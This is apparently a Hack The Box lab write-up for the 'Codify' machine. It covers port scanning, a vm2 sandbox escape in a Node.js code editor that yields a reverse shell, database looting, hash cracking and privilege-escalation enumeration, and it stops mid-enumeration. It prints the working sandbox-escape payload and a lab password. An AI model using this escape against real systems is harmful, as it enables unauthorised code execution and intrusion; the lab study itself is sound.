┌──(ghost㉿htb-ops)-[~/htb/labs/codify]
└─$ sudo nmap -sS -Pn -p- 10.129.64.131 -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 17:19 CST
Stats: 0:01:25 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 62.73% done; ETC: 17:22 (0:00:51 remaining)
Stats: 0:05:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 94.35% done; ETC: 17:25 (0:00:20 remaining)
Nmap scan report for 10.129.64.131
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Looks like ppp is open, nothing else really to note:
┌──(ghost㉿htb-ops)-[~/htb/labs/codify]
└─$ sudo nmap -sC -p 22,80,3000 10.129.64.131 -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 17:29 CST
Nmap scan report for 10.129.64.131
Host is up (0.064s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open ppp
Adding codify.htb to /etc/hosts
Site looks like it's using Node.js as its framework along with Apache.
We have the following pages:
codify.htb/limitations
codify.htb/editor
codify.htb/about
We see that the editor uses a library called vm2 - https://github.com/patriksimek/vm2/releases/tag/3.9.16, version 3.9.16 to sandbox the Javascript code used in the editor, there is likely an escape mechanism we can use to leave the sandbox and access the host directly to try and gain a foothold.
Available modules:
url
crypto
util
events
assert
stream
path
os
zlib
Restricted Modules
child_process
fs
Enumeration
While working with the editor, I'll be running dirsearch in the background:
We could get some results back, but the code for my reverse shells were erroring out because it could not run the command.
Realized after trying to import fs, that even though child_process was a restricted module, we weren't receiving the following error in the block where our export code was running:
Error: Module "fs" is not allowed
So it looks like whatever pieces we have in our exploit are probably running successfully on the victim machine.
Since we couldn't get a reverse shell off the bat, I tried seeing if we could force the editor to pull a file from my attacker system. So I setup my Python simple server:
We were able to get the reverse shell to run with c.constructor('return process')().mainModule.require('child_process').execSync('/bin/bash ./rev.sh');
Checked the logs directory and it was just notifying us which port the app was being served on. Moved to the next semi-interesting place, /var/www/ to start enumerating the web app to see if there are files we might have missed during our initial scanning.
Sure enough, we find /var/www/contact/tickets.db, running cat against the db we see a BRC4 hash of Joshua's password.
joshua$2a$12$**redacting the rest**
Took the hash to my attacker machine and ran the following to crack the hash:
Starting off by looking to see if we can access sudo, or run anything with super user:
joshua@codify:~$ sudo -l
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
Looks like we can run the script /opt/scripts/mysql-backup.sh
We know that from the output of the script, that it is listening to port 3306.
Running linpeas we see that there is a Docker container hosted on this port:
I tried telnet to access the host and received the following:
joshua@codify:~$ telnet 172.19.0.2 3306
Trying 172.19.0.2...
Connected to 172.19.0.2.
Escape character is '^]'.
q
5.5.5-10.10.3-MariaDB-1:10.10.3+maria~ubu2204
S@(Eb>NO-~NKnh=9F2e*?mysql_native_password
ipaddr = input("Enter the IP address of the mysql server: ")
while 1:
subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()
We are able to connect to the database by running:
joshua@codify:~$ mysql --host=172.19.0.2 --port=3306 --user=joshua --password=spongebob1
We can perform the following to enumerate the database:
show databases;
use <table_name>;
show tables;
select * from <table_name>;
I see a user named passbolt which is interesting, we haven't seen this account anywhere else so far, except within the database tables.